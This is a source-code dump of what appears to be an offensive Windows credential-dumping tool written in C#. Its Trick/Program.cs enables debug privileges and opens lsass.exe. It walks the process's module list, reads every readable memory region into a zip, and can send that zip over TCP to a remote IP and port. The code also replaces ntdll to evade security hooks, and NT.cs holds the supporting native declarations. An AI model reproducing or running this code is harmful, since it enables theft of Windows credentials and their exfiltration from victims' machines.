375 | if (mbi.BaseAddress == modInfo.Address)
376 | {
377 | aux_name = modInfo.Name.ToLower();
378 | aux_size = (int)mbi.RegionSize;
379 | }
380 | }
381 | }
382 | else
383 | {
384 | aux_size += (int)mbi.RegionSize;
385 | }
386 | }
387 | // Next memory region
388 | mem_address = (IntPtr)((ulong)mem_address + (ulong)mbi.RegionSize);
389 | }
390 | // Close process handle
391 | NtClose(processHandle);
392 |
393 | // Generate JSON
394 | string[] aux_array_1 = { };
395 | foreach (ModuleInformation modInfo in moduleInformationList)
396 | {
397 | string[] aux_array_2 = { modInfo.Name.ToString(), modInfo.FullPath.ToString().Replace("\\", "\\\\"), ("0x" + modInfo.Address.ToString("X")), modInfo.Size.ToString() };
398 | aux_array_1 = aux_array_1.Concat(new string[] { ToJson(aux_array_2) }).ToArray();
399 |
400 | }
401 | string shock_json_content = ToJsonArray(aux_array_1);
402 | WriteToFile(file_name, shock_json_content);
403 | }
404 |
405 |
406 | static void Main(string[] args)
407 | {
408 | // Check binary is correctly compiled
409 | if (!Environment.Is64BitProcess)
410 | {
411 | Console.WriteLine("[-] File must be compiled as 64-byte binary.");
412 | Environment.Exit(-1);
413 | }
414 |
415 | // Replace ntdll library
416 | string option = "default";
417 | string wildcard_option = "";
418 | if (args.Length >= 1)
419 | {
420 | option = args[0];
421 | }
422 | if (args.Length >= 2)
423 | {
424 | wildcard_option = args[1];
425 | }
426 | ReplaceLibrary(option, wildcard_option);
427 |
428 | // Get modules (ModuleList) information. Argument: Name of JSON file
429 | Shock("shock.json");
430 | }
431 | }
432 | }
--------------------------------------------------------------------------------
/Trick/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Net;
4 | using System.Linq;
5 | using System.Diagnostics;
6 | using System.IO.Compression;
7 | using System.Collections.Generic;
8 | using System.Runtime.InteropServices;
9 | using System.Net.Sockets;
10 | using static Trick.NT;
11 |
12 | namespace Trick
13 | {
14 | internal class Program
15 | {
16 | public static OSVERSIONINFOEX getBuildNumber()
17 | {
18 | OSVERSIONINFOEX osVersionInfo = new OSVERSIONINFOEX();
19 | osVersionInfo.dwOSVersionInfoSize = Marshal.SizeOf(typeof(OSVERSIONINFOEX));
20 | RtlGetVersion(ref osVersionInfo);
21 | return osVersionInfo;
22 | }
23 |
24 |
25 | public static string ToJson(string[] array)
26 | {
27 | string json_str = "{";
28 | for (int i = 0; i < array.Length; i++)
29 | {
30 | json_str += "\"field" + i.ToString() + "\" : \"" + array[i] + "\" , ";
31 | }
32 | return (json_str.Substring(0, json_str.Length - 3) + "}");
33 | }
34 |
35 |
36 | public static string ToJsonArray(string[] array)
37 | {
38 | string json_str = "[";
39 | for (int i = 0; i < array.Length; i++)
40 | {
41 | json_str += array[i] + ", ";
42 | }
43 | return (json_str.Substring(0, json_str.Length - 2) + "]");
44 | }
45 |
46 |
47 | static string Lock()
48 | {
49 | OSVERSIONINFOEX osVersionInfo = getBuildNumber();
50 | string[] aux_array = { osVersionInfo.dwMajorVersion.ToString(), osVersionInfo.dwMinorVersion.ToString(), osVersionInfo.dwBuildNumber.ToString() };
51 | string aux_array_json = ToJson(aux_array);
52 | string[] aux_array_1 = { aux_array_json };
53 | string lock_json_content = ToJsonArray(aux_array_1);
54 | return lock_json_content;
55 | }
56 |
57 |
58 | static void EnableDebugPrivileges()
59 | {
60 | IntPtr currentProcess = Process.GetCurrentProcess().Handle;
61 | IntPtr tokenHandle = IntPtr.Zero;
62 | try
63 | {
64 | uint ntstatus = NtOpenProcessToken(currentProcess, TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, ref tokenHandle);
65 | if (ntstatus != 0)
66 | {
67 | Console.WriteLine("[-] Error calling NtOpenProcessToken. NTSTATUS: 0x" + ntstatus.ToString("X"));
68 | Environment.Exit(-1);
69 | }
70 |
71 | TOKEN_PRIVILEGES tokenPrivileges = new TOKEN_PRIVILEGES
72 | {
73 | PrivilegeCount = 1,
74 | Luid = new LUID { LowPart = 20, HighPart = 0 }, // LookupPrivilegeValue(null, "SeDebugPrivilege", ref luid);
75 | Attributes = 0x00000002
76 | };
77 |
78 | ntstatus = NtAdjustPrivilegesToken(tokenHandle, false, ref tokenPrivileges, (uint)Marshal.SizeOf(typeof(TOKEN_PRIVILEGES)), IntPtr.Zero, IntPtr.Zero);
79 | if (ntstatus != 0)
80 | {
81 | Console.WriteLine("[-] Error calling NtAdjustPrivilegesToken. NTSTATUS: 0x" + ntstatus.ToString("X") + ". Maybe you need to calculate the LowPart of the LUID using LookupPrivilegeValue");
82 | Environment.Exit(-1);
83 | }
84 | }
85 | finally
86 | {
87 | if (tokenHandle != IntPtr.Zero)
88 | {
89 | NtClose(tokenHandle);
90 | }
91 | }
92 | }
93 |
94 |
95 | public static IntPtr ReadRemoteIntPtr(IntPtr hProcess, IntPtr mem_address)
96 | {
97 | byte[] buff = new byte[8];
98 | uint ntstatus = NtReadVirtualMemory(hProcess, mem_address, buff, buff.Length, out _);
99 | if (ntstatus != 0 && ntstatus != 0xC0000005 && ntstatus != 0x8000000D && hProcess != IntPtr.Zero)
100 | {
101 | Console.WriteLine("[-] Error calling NtReadVirtualMemory (ReadRemoteIntPtr). NTSTATUS: 0x" + ntstatus.ToString("X") + " reading address 0x" + mem_address.ToString("X"));
102 | }
103 | long value = BitConverter.ToInt64(buff, 0);
104 | return (IntPtr)value;
105 | }
106 |
107 |
108 | public static string ReadRemoteWStr(IntPtr hProcess, IntPtr mem_address)
109 | {
110 | byte[] buff = new byte[256];
111 | uint ntstatus = NtReadVirtualMemory(hProcess, mem_address, buff, buff.Length, out _);
112 | if (ntstatus != 0 && ntstatus != 0xC0000005 && ntstatus != 0x8000000D && hProcess != IntPtr.Zero)
113 | {
114 | Console.WriteLine("[-] Error calling NtReadVirtualMemory (ReadRemoteWStr). NTSTATUS: 0x" + ntstatus.ToString("X") + " reading address 0x" + mem_address.ToString("X"));
115 | }
116 | string unicode_str = "";
117 | for (int i = 0; i < buff.Length - 1; i += 2)
118 | {
119 | if (buff[i] == 0 && buff[i + 1] == 0) { break; }
120 | unicode_str += BitConverter.ToChar(buff, i);
121 | }
122 | return unicode_str;
123 | }
124 |
125 |
126 | public unsafe static List CustomGetModuleHandle(IntPtr hProcess)
127 | {
128 | List moduleInformationList = new List();
129 |
130 | uint process_basic_information_size = 48;
131 | int peb_offset = 0x8;
132 | int ldr_offset = 0x18;
133 | int inInitializationOrderModuleList_offset = 0x30;
134 | int flink_dllbase_offset = 0x20;
135 | int flink_buffer_fulldllname_offset = 0x40;
136 | int flink_buffer_offset = 0x50;
137 |
138 | // Create byte array with the size of the PROCESS_BASIC_INFORMATION structure
139 | byte[] pbi_byte_array = new byte[process_basic_information_size];
140 |
141 | // Create a PROCESS_BASIC_INFORMATION structure in the byte array
142 | IntPtr pbi_addr = IntPtr.Zero;
143 | fixed (byte* p = pbi_byte_array)
144 | {
145 | pbi_addr = (IntPtr)p;
146 |
147 | uint ntstatus = NtQueryInformationProcess(hProcess, 0x0, pbi_addr, process_basic_information_size, out uint ReturnLength);
148 | if (ntstatus != 0)
149 | {
150 | Console.WriteLine("[-] Error calling NtQueryInformationProcess. NTSTATUS: 0x" + ntstatus.ToString("X"));
151 | }
152 | }
153 |
154 | // Get PEB Base Address
155 | IntPtr peb_pointer = pbi_addr + peb_offset;
156 | IntPtr pebaddress = Marshal.ReadIntPtr(peb_pointer);
157 |
158 | // Get Ldr
159 | IntPtr ldr_pointer = pebaddress + ldr_offset;
160 | IntPtr ldr_adress = ReadRemoteIntPtr(hProcess, ldr_pointer);
161 |
162 | IntPtr InInitializationOrderModuleList = ldr_adress + inInitializationOrderModuleList_offset;
163 | IntPtr next_flink = ReadRemoteIntPtr(hProcess, InInitializationOrderModuleList);
164 |
165 | IntPtr dll_base = (IntPtr)1337;
166 | while (dll_base != IntPtr.Zero)
167 | {
168 | next_flink = next_flink - 0x10;
169 | // Get DLL base address
170 | dll_base = ReadRemoteIntPtr(hProcess, (next_flink + flink_dllbase_offset));
171 | IntPtr buffer = ReadRemoteIntPtr(hProcess, (next_flink + flink_buffer_offset));
172 | // DLL base name
173 | string base_dll_name = "";
174 | if (buffer != IntPtr.Zero)
175 | {
176 | base_dll_name = ReadRemoteWStr(hProcess, buffer);
177 | }
178 | // DLL full path
179 | string full_dll_path = ReadRemoteWStr(hProcess, ReadRemoteIntPtr(hProcess, (next_flink + flink_buffer_fulldllname_offset)));
180 |
181 | moduleInformationList.Add(new ModuleInformation(base_dll_name.ToLower(), full_dll_path, dll_base, 0));
182 | next_flink = ReadRemoteIntPtr(hProcess, (next_flink + 0x10));
183 | }
184 | return moduleInformationList;
185 | }
186 |
187 |
188 | public static IntPtr GetProcessByName(string proc_name)
189 | {
190 | IntPtr aux_handle = IntPtr.Zero;
191 | int MAXIMUM_ALLOWED = 0x02000000;
192 |
193 | while (!NtGetNextProcess(aux_handle, MAXIMUM_ALLOWED, 0, 0, out aux_handle))
194 | {
195 | string current_proc_name = GetProcNameFromHandle(aux_handle).ToLower();
196 | if (current_proc_name == proc_name)
197 | {
198 | return aux_handle;
199 | }
200 | }
201 | return IntPtr.Zero;
202 | }
203 |
204 |
205 | unsafe static string GetProcNameFromHandle(IntPtr process_handle)
206 | {
207 | uint process_basic_information_size = 48;
208 | int peb_offset = 0x8;
209 | int commandline_offset = 0x68;
210 |
211 | // Create byte array with the size of the PROCESS_BASIC_INFORMATION structure
212 | byte[] pbi_byte_array = new byte[process_basic_information_size];
213 |
214 | // Create a PROCESS_BASIC_INFORMATION structure in the byte array
215 | IntPtr pbi_addr = IntPtr.Zero;
216 | fixed (byte* p = pbi_byte_array)
217 | {
218 | pbi_addr = (IntPtr)p;
219 |
220 | uint ntstatus = NtQueryInformationProcess(process_handle, 0x0, pbi_addr, process_basic_information_size, out uint ReturnLength);
221 | if (ntstatus != 0)
222 | {
223 | Console.WriteLine("[-] Error calling NtQueryInformationProcess. NTSTATUS: 0x" + ntstatus.ToString("X"));
224 | }
225 | }
226 |
227 | // Get PEB Base Address
228 | IntPtr peb_pointer = pbi_addr + peb_offset;
229 | IntPtr pebaddress = Marshal.ReadIntPtr(peb_pointer);
230 |
231 | // Get PEB->ProcessParameters
232 | int processparameters_offset = 0x20;
233 | IntPtr processparameters_pointer = pebaddress + processparameters_offset;
234 |
235 | // Get ProcessParameters->CommandLine
236 | IntPtr processparameters_adress = ReadRemoteIntPtr(process_handle, processparameters_pointer);
237 | IntPtr commandline_pointer = processparameters_adress + commandline_offset;
238 | IntPtr commandline_address = ReadRemoteIntPtr(process_handle, commandline_pointer);
239 | string commandline_value = ReadRemoteWStr(process_handle, commandline_address);
240 | return commandline_value;
241 | }
242 |
243 |
244 | static Tuple Shock()
245 | {
246 | // Get SeDebugPrivilege
247 | EnableDebugPrivileges();
248 |
249 | // Get process handle
250 | string proc_name = "c:\\windows\\system32\\lsass.exe";
251 | IntPtr processHandle = GetProcessByName(proc_name);
252 | Console.WriteLine("[+] Process handle: \t\t\t\t" + processHandle);
253 | if (processHandle == IntPtr.Zero)
254 | {
255 | Console.WriteLine("[-] It was not possible to get a process handle. If you get 0xC0000022 errors probably PEB is unreadable.");
256 | Environment.Exit(-1);
257 | }
258 |
259 | // List to get modules information
260 | List moduleInformationList = CustomGetModuleHandle(processHandle);
261 |
262 | // Loop the memory regions
263 | long proc_max_address_l = (long)0x7FFFFFFEFFFF;
264 | IntPtr mem_address = IntPtr.Zero;
265 | int aux_size = 0;
266 | string aux_name = "";
267 |
268 | while ((long)mem_address < proc_max_address_l)
269 | {
270 | // Populate MEMORY_BASIC_INFORMATION struct
271 | MEMORY_BASIC_INFORMATION mbi = new MEMORY_BASIC_INFORMATION();
272 | uint ntstatus = NtQueryVirtualMemory(processHandle, (IntPtr)mem_address, MemoryBasicInformation, out mbi, 0x30, out _);
273 | if (ntstatus != 0)
274 | {
275 | Console.WriteLine("[-] Error calling NtQueryVirtualMemory. NTSTATUS: 0x" + ntstatus.ToString("X"));
276 | }
277 |
278 | // If readable and commited --> Write memory region to a file
279 | if (mbi.Protect != PAGE_NOACCESS && mbi.State == MEM_COMMIT)
280 | {
281 | ModuleInformation aux_module = moduleInformationList.Find(obj => obj.Name == aux_name);
282 |
283 | if ((int)mbi.RegionSize == 0x1000 && mbi.BaseAddress != aux_module.Address)
284 | {
285 | aux_module.Size = aux_size;
286 | int aux_index = moduleInformationList.FindIndex(obj => obj.Name == aux_name);
287 | moduleInformationList[aux_index] = aux_module;
288 |
289 | foreach (ModuleInformation modInfo in moduleInformationList)
290 | {
291 | if (mbi.BaseAddress == modInfo.Address)
292 | {
293 | aux_name = modInfo.Name.ToLower();
294 | aux_size = (int)mbi.RegionSize;
295 | }
296 | }
297 | }
298 | else
299 | {
300 | aux_size += (int)mbi.RegionSize;
301 | }
302 | }
303 | // Next memory region
304 | mem_address = (IntPtr)((ulong)mem_address + (ulong)mbi.RegionSize);
305 | }
306 |
307 | // Generate JSON
308 | string[] aux_array_1 = { };
309 | foreach (ModuleInformation modInfo in moduleInformationList)
310 | {
311 | string[] aux_array_2 = { modInfo.Name.ToString(), modInfo.FullPath.ToString().Replace("\\", "\\\\"), ("0x" + modInfo.Address.ToString("X")), modInfo.Size.ToString() };
312 | aux_array_1 = aux_array_1.Concat(new string[] { ToJson(aux_array_2) }).ToArray();
313 |
314 | }
315 | string shock_json_content = ToJsonArray(aux_array_1);
316 | return Tuple.Create(shock_json_content, processHandle);
317 | }
318 |
319 |
320 | static string getRandomString(int length, Random random)
321 | {
322 | const string chars = "abcdefghijklmnopqrstuvwxyz0123456789";
323 | System.Text.StringBuilder stringBuilder = new System.Text.StringBuilder();
324 | for (int i = 0; i < length; i++)
325 | {
326 | int index = random.Next(chars.Length);
327 | stringBuilder.Append(chars[index]);
328 | }
329 | return stringBuilder.ToString();
330 | }
331 |
332 |
333 | static Tuple> Barrel(IntPtr processHandle)
334 | {
335 | // Random seed
336 | Random random = new Random();
337 |
338 | // Loop the memory regions
339 | long proc_max_address_l = (long)0x7FFFFFFEFFFF;
340 | IntPtr aux_address = IntPtr.Zero;
341 | List memfile_list = new List { };
342 | string[] aux_array_1 = { };
343 | while ((long)aux_address < proc_max_address_l)
344 | {
345 | // Populate MEMORY_BASIC_INFORMATION struct calling VirtualQueryEx/NtQueryVirtualMemory
346 | MEMORY_BASIC_INFORMATION mbi = new MEMORY_BASIC_INFORMATION();
347 | NtQueryVirtualMemory(processHandle, aux_address, MemoryBasicInformation, out mbi, 0x30, out _);
348 |
349 | // If readable and committed -> Write memory region to a file
350 | if (mbi.Protect != PAGE_NOACCESS && mbi.State == MEM_COMMIT)
351 | {
352 | byte[] buffer = new byte[(int)mbi.RegionSize];
353 | NtReadVirtualMemory(processHandle, mbi.BaseAddress, buffer, (int)mbi.RegionSize, out _);
354 | string memdump_filename = getRandomString(10, random) + "." + getRandomString(3, random);
355 |
356 | // Add to JSON file
357 | string[] aux_array_2 = { memdump_filename, "0x" + aux_address.ToString("X"), mbi.RegionSize.ToString() };
358 | aux_array_1 = aux_array_1.Concat(new string[] { ToJson(aux_array_2) }).ToArray();
359 |
360 | // Add to global byte array
361 | MemFile memFile = new MemFile(memdump_filename, buffer);
362 | memfile_list.Add(memFile);
363 | }
364 | // Next memory region
365 | aux_address = (IntPtr)((ulong)aux_address + (ulong)mbi.RegionSize);
366 | }
367 | // Close process handle
368 | NtClose(processHandle);
369 |
370 | // Write JSON file
371 | string barrel_json_content = ToJsonArray(aux_array_1);
372 | return Tuple.Create(barrel_json_content, memfile_list);
373 | }
374 |
375 |
376 | static void AddStringToZip(System.IO.Compression.ZipArchive archive, string entryName, string content)
377 | {
378 | ZipArchiveEntry entry = archive.CreateEntry(entryName);
379 | using (StreamWriter writer = new StreamWriter(entry.Open()))
380 | {
381 | writer.Write(content);
382 | }
383 | }
384 |
385 |
386 | public static void SendBytes(string ipAddress, string portNumber, MemoryStream memoryStream)
387 | {
388 | IPAddress serverAddress = IPAddress.Parse(ipAddress);
389 | int serverPort = Int32.Parse(portNumber);
390 | using (Socket clientSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp))
391 | {
392 | clientSocket.Connect(new IPEndPoint(serverAddress, serverPort));
393 | memoryStream.Seek(0, SeekOrigin.Begin);
394 | byte[] buffer = new byte[1024];
395 | int bytesRead;
396 | while ((bytesRead = memoryStream.Read(buffer, 0, buffer.Length)) > 0)
397 | {
398 | clientSocket.Send(buffer, 0, bytesRead, SocketFlags.None);
399 | }
400 | clientSocket.Shutdown(SocketShutdown.Both);
401 | }
402 | }
403 |
404 |
405 | public static void GenerateTrickZip(string zipFilePath, string lock_str, string shock_str, string barrel_str, List barrel_memfiles, string ip_addr, string port)
406 | {
407 | // Generate ZIP file
408 | if (ip_addr == "" || port == "")
409 | {
410 | // Check it exists, delete if it does
411 | if (File.Exists(zipFilePath)) { File.Delete(zipFilePath); }
412 |
413 | using (FileStream zipStream = new FileStream(zipFilePath, FileMode.Create))
414 | {
415 | using (ZipArchive archive = new ZipArchive(zipStream, ZipArchiveMode.Create, true))
416 | {
417 | AddStringToZip(archive, "lock.json", lock_str);
418 | AddStringToZip(archive, "shock.json", shock_str);
419 | AddStringToZip(archive, "barrel.json", barrel_str);
420 | ZipArchiveEntry innerZipEntry = archive.CreateEntry("barrel.zip");
421 | using (Stream innerZipStream = innerZipEntry.Open())
422 | {
423 | using (System.IO.Compression.ZipArchive innerArchive = new System.IO.Compression.ZipArchive(innerZipStream, ZipArchiveMode.Create))
424 | {
425 | foreach (MemFile m in barrel_memfiles)
426 | {
427 | ZipArchiveEntry entry = innerArchive.CreateEntry(m.filename, CompressionLevel.Fastest);
428 | using (Stream entryStream = entry.Open())
429 | {
430 | entryStream.Write(m.content, 0, m.content.Length);
431 | }
432 | }
433 | }
434 | }
435 | }
436 | }
437 | Console.WriteLine("[+] File " + zipFilePath + " generated.");
438 | }
439 |
440 | // Send ZIP file to remote port
441 | else {
442 | using (MemoryStream zipStream = new MemoryStream())
443 | {
444 | using (System.IO.Compression.ZipArchive archive = new System.IO.Compression.ZipArchive(zipStream, ZipArchiveMode.Create, true))
445 | {
446 | AddStringToZip(archive, "lock.json", lock_str);
447 | AddStringToZip(archive, "shock.json", shock_str);
448 | AddStringToZip(archive, "barrel.json", barrel_str);
449 | ZipArchiveEntry innerZipEntry = archive.CreateEntry("barrel.zip");
450 | using (Stream innerZipStream = innerZipEntry.Open())
451 | {
452 | using (System.IO.Compression.ZipArchive innerArchive = new System.IO.Compression.ZipArchive(innerZipStream, ZipArchiveMode.Create))
453 | {
454 | foreach (MemFile m in barrel_memfiles)
455 | {
456 | ZipArchiveEntry entry = innerArchive.CreateEntry(m.filename, CompressionLevel.Fastest);
457 | using (Stream entryStream = entry.Open())
458 | {
459 | entryStream.Write(m.content, 0, m.content.Length);
460 | }
461 | }
462 | }
463 | }
464 | zipStream.Seek(0, SeekOrigin.Begin);
465 | SendBytes(ip_addr, port, zipStream);
466 | Console.WriteLine("[+] File sent successfully.");
467 | }
468 | }
469 | }
470 | }
471 |
472 |
473 | static void Main(string[] args)
474 | {
475 | // Replace ntdll library
476 | string ntdll_option = "default";
477 | string ip_addr = "";
478 | string port = "";
479 | if (args.Length >= 1)
480 | {
481 | ntdll_option = args[0];
482 | }
483 | if (args.Length >= 2)
484 | {
485 | ip_addr = args[1];
486 | }
487 | if (args.Length >= 3)
488 | {
489 | port = args[2];
490 | }
491 | ReplaceLibrary(ntdll_option, "");
492 |
493 | // Check binary is correctly compiled
494 | if (!Environment.Is64BitProcess)
495 | {
496 | Console.WriteLine("[-] File must be compiled as 64-byte binary.");
497 | Environment.Exit(-1);
498 | }
499 |
500 | // 1 - Get OS information. Returns: JSON string
501 | string lock_str = Lock();
502 |
503 | // 2 - Get modules (ModuleList) information. Returns: JSON string + Process Handle
504 | var shock_result = Shock();
505 | string shock_str = shock_result.Item1;
506 | IntPtr processHandle = shock_result.Item2;
507 |
508 | // 3 - Get Mem64List information + Dump memory regions. Arguments: Lsass process handle. Returns: JSON string and List of MemFile
509 | var barrel_result = Barrel(processHandle);
510 | string barrel_str = barrel_result.Item1;
511 | List barrel_mem = barrel_result.Item2;
512 |
513 | // Generate the final trick.zip
514 | GenerateTrickZip("trick.zip", lock_str, shock_str, barrel_str, barrel_mem, ip_addr, port);
515 | }
516 | }
517 | }
518 |
--------------------------------------------------------------------------------
/Lock/NT.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.InteropServices;
3 |
4 |
5 | namespace Lock
6 | {
7 | internal class NT
8 | {
9 | //////////////////// FUNCTIONS ////////////////////
10 | [DllImport("kernel32.dll", SetLastError = true)]
11 | public static extern IntPtr CreateFileA(
12 | string lpFileName,
13 | uint dwDesiredAccess,
14 | uint dwShareMode,
15 | uint lpSecurityAttributes,
16 | uint dwCreationDisposition,
17 | uint dwFlagsAndAttributes,
18 | uint hTemplateFile
19 | );
20 |
21 | [DllImport("kernel32.dll", SetLastError = true)]
22 | public static extern bool VirtualProtect(
23 | IntPtr lpAddress,
24 | uint dwSize,
25 | uint flNewProtect,
26 | out uint lpflOldProtect
27 | );
28 |
29 | [DllImport("Kernel32.dll", SetLastError = true)]
30 | public static extern bool CloseHandle(
31 | IntPtr handle
32 | );
33 |
34 | [DllImport("kernel32.dll", SetLastError = true)]
35 | public static extern IntPtr CreateFileMappingA(
36 | IntPtr hFile,
37 | uint lpFileMappingAttributes,
38 | uint flProtect,
39 | uint dwMaximumSizeHigh,
40 | uint dwMaximumSizeLow,
41 | string lpName
42 | );
43 |
44 | [DllImport("kernel32.dll", SetLastError = true)]
45 | public static extern IntPtr MapViewOfFile(
46 | IntPtr hFileMappingObject,
47 | uint dwDesiredAccess,
48 | uint dwFileOffsetHigh,
49 | uint dwFileOffsetLow,
50 | uint dwNumberOfBytesToMap
51 | );
52 |
53 | [DllImport("ntdll.dll", SetLastError = true)]
54 | public static extern uint NtQueryInformationProcess(
55 | IntPtr processHandle,
56 | int processInformationClass,
57 | IntPtr pbi,
58 | uint processInformationLength,
59 | out uint returnLength
60 | );
61 |
62 | [DllImport("kernel32.dll", SetLastError = true)]
63 | public static extern uint ReadProcessMemory(
64 | IntPtr hProcess,
65 | IntPtr lpBaseAddress,
66 | [Out] byte[] lpBuffer,
67 | int dwSize,
68 | out uint lpNumberOfBytesRead
69 | );
70 |
71 | [DllImport("ntdll.dll", SetLastError = true)]
72 | public static extern uint NtOpenSection(
73 | ref IntPtr FileHandle,
74 | int DesiredAccess,
75 | ref OBJECT_ATTRIBUTES ObjectAttributes
76 | );
77 |
78 | public static OBJECT_ATTRIBUTES InitializeObjectAttributes(string dll_name, UInt32 Attributes)
79 | {
80 | OBJECT_ATTRIBUTES objectAttributes = new OBJECT_ATTRIBUTES();
81 | objectAttributes.RootDirectory = IntPtr.Zero;
82 | UNICODE_STRING objectName = new UNICODE_STRING();
83 | objectName.Buffer = dll_name;
84 | objectName.Length = (ushort)(dll_name.Length * 2);
85 | objectName.MaximumLength = (ushort)(dll_name.Length * 2 + 2);
86 | objectAttributes.ObjectName = Marshal.AllocHGlobal(Marshal.SizeOf(objectName));
87 | Marshal.StructureToPtr(objectName, objectAttributes.ObjectName, false);
88 | objectAttributes.SecurityDescriptor = IntPtr.Zero;
89 | objectAttributes.SecurityQualityOfService = IntPtr.Zero;
90 | objectAttributes.Attributes = Attributes;
91 | objectAttributes.Length = Convert.ToUInt32(Marshal.SizeOf(objectAttributes));
92 | return objectAttributes;
93 | }
94 |
95 | [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
96 | public static extern bool CreateProcess(
97 | string lpApplicationName,
98 | string lpCommandLine,
99 | IntPtr lpProcessAttributes,
100 | IntPtr lpThreadAttributes,
101 | bool bInheritHandles,
102 | uint dwCreationFlags,
103 | IntPtr lpEnvironment,
104 | string lpCurrentDirectory,
105 | ref STARTUPINFO lpStartupInfo,
106 | out PROCESS_INFORMATION lpProcessInformation
107 | );
108 |
109 | [DllImport("kernel32.dll")]
110 | public static extern bool DebugActiveProcessStop(
111 | int dwProcessId
112 | );
113 |
114 | [DllImport("kernel32.dll")]
115 | public static extern bool TerminateProcess(
116 | IntPtr hProcess,
117 | uint uExitCode
118 | );
119 |
120 | ///////////////////// STRUCTS /////////////////////
121 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
122 | public struct UNICODE_STRING
123 | {
124 | public ushort Length;
125 | public ushort MaximumLength;
126 | [MarshalAs(UnmanagedType.LPWStr)] public string Buffer;
127 | }
128 |
129 | [StructLayout(LayoutKind.Sequential)]
130 | public struct OBJECT_ATTRIBUTES
131 | {
132 | public uint Length;
133 | public IntPtr RootDirectory;
134 | public IntPtr ObjectName;
135 | public uint Attributes;
136 | public IntPtr SecurityDescriptor;
137 | public IntPtr SecurityQualityOfService;
138 | }
139 |
140 | [StructLayout(LayoutKind.Sequential)]
141 | public struct STARTUPINFO
142 | {
143 | public int cb;
144 | public IntPtr lpReserved;
145 | public IntPtr lpDesktop;
146 | public IntPtr lpTitle;
147 | public int dwX;
148 | public int dwY;
149 | public int dwXSize;
150 | public int dwYSize;
151 | public int dwXCountChars;
152 | public int dwYCountChars;
153 | public int dwFillAttribute;
154 | public int dwFlags;
155 | public short wShowWindow;
156 | public short cbReserved2;
157 | public IntPtr lpReserved2;
158 | public IntPtr hStdInput;
159 | public IntPtr hStdOutput;
160 | public IntPtr hStdError;
161 | }
162 |
163 | [StructLayout(LayoutKind.Sequential)]
164 | public struct PROCESS_INFORMATION
165 | {
166 | public IntPtr hProcess;
167 | public IntPtr hThread;
168 | public int dwProcessId;
169 | public int dwThreadId;
170 | }
171 |
172 | //////////////////// CONSTANTS ////////////////////
173 | public const uint GENERIC_READ = (uint)0x80000000; // https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/262970b7-cd4a-41f4-8c4d-5a27f0092aaa
174 | public const uint FILE_SHARE_READ = 0x00000001;
175 | public const uint OPEN_EXISTING = 3; // https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea
176 | public const uint FILE_ATTRIBUTE_NORMAL = (uint)0x00000080; // https://learn.microsoft.com/es-es/windows/win32/fileio/file-attribute-constants
177 | public const uint PAGE_READONLY = 0x02; // https://learn.microsoft.com/es-es/windows/win32/memory/memory-protection-constants
178 | public const uint SEC_IMAGE_NO_EXECUTE = 0x11000000; // https://learn.microsoft.com/es-es/windows/win32/api/winbase/nf-winbase-createfilemappinga
179 | public const uint FILE_MAP_READ = 4; // https://www.codeproject.com/Tips/79069/How-to-use-a-memory-mapped-file-with-Csharp-in-Win
180 | public const uint PAGE_EXECUTE_WRITECOPY = 0x80;
181 | public const uint OBJ_CASE_INSENSITIVE = 0x00000040;
182 | public const int SECTION_MAP_READ = 0x0004; // https://www.codeproject.com/Tips/79069/How-to-use-a-memory-mapped-file-with-Csharp-in-Win
183 | public const uint DEBUG_PROCESS = 0x00000001;
184 | public const int offset_mappeddll = 4096;
185 | public const int offset_fromdiskdll = 0x400;
186 |
187 |
188 | public unsafe static IntPtr CustomGetModuleHandle(String dll_name)
189 | {
190 | uint process_basic_information_size = 48;
191 | int peb_offset = 0x8;
192 | int ldr_offset = 0x18;
193 | int inInitializationOrderModuleList_offset = 0x30;
194 | int flink_dllbase_offset = 0x20;
195 | int flink_buffer_offset = 0x50;
196 |
197 | // Get current process handle
198 | IntPtr hProcess = System.Diagnostics.Process.GetCurrentProcess().Handle;
199 |
200 | // Create byte array with the size of the PROCESS_BASIC_INFORMATION structure
201 | byte[] pbi_byte_array = new byte[process_basic_information_size];
202 |
203 | // Create a PROCESS_BASIC_INFORMATION structure in the byte array
204 | IntPtr pbi_addr = IntPtr.Zero;
205 | fixed (byte* p = pbi_byte_array)
206 | {
207 | pbi_addr = (IntPtr)p;
208 | NtQueryInformationProcess(hProcess, 0x0, pbi_addr, process_basic_information_size, out _);
209 | }
210 |
211 | // Get PEB Base Address
212 | IntPtr peb_pointer = pbi_addr + peb_offset;
213 | IntPtr pebaddress = Marshal.ReadIntPtr(peb_pointer);
214 |
215 | // Get Ldr
216 | IntPtr ldr_pointer = pebaddress + ldr_offset;
217 | IntPtr ldr_adress = Marshal.ReadIntPtr(ldr_pointer);
218 |
219 | // Get InInitializationOrderModuleList (LIST_ENTRY) inside _PEB_LDR_DATA struct
220 | IntPtr InInitializationOrderModuleList = ldr_adress + inInitializationOrderModuleList_offset;
221 |
222 | IntPtr next_flink = Marshal.ReadIntPtr(InInitializationOrderModuleList);
223 | IntPtr dll_base = (IntPtr)1337;
224 | while (dll_base != IntPtr.Zero)
225 | {
226 | next_flink = next_flink - 0x10;
227 | // Get DLL base address
228 | dll_base = Marshal.ReadIntPtr(next_flink + flink_dllbase_offset);
229 | IntPtr buffer = Marshal.ReadIntPtr(next_flink + flink_buffer_offset);
230 |
231 | // Get DLL name from buffer address
232 | String char_aux = null;
233 | String base_dll_name = "";
234 | while (char_aux != "")
235 | {
236 | char_aux = Marshal.PtrToStringAnsi(buffer);
237 | buffer += 2;
238 | base_dll_name += char_aux;
239 | }
240 | next_flink = Marshal.ReadIntPtr(next_flink + 0x10);
241 |
242 | // Compare with DLL name we are searching
243 | if (dll_name.ToLower() == base_dll_name.ToLower())
244 | {
245 | return dll_base;
246 | }
247 | }
248 |
249 | return IntPtr.Zero;
250 | }
251 |
252 |
253 | // Map ntdl.dll from the file in disk and return view address
254 | public static IntPtr MapNtdllFromDisk(string ntdll_path)
255 | {
256 | IntPtr hFile = CreateFileA(ntdll_path, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
257 |
258 | // CreateFileA
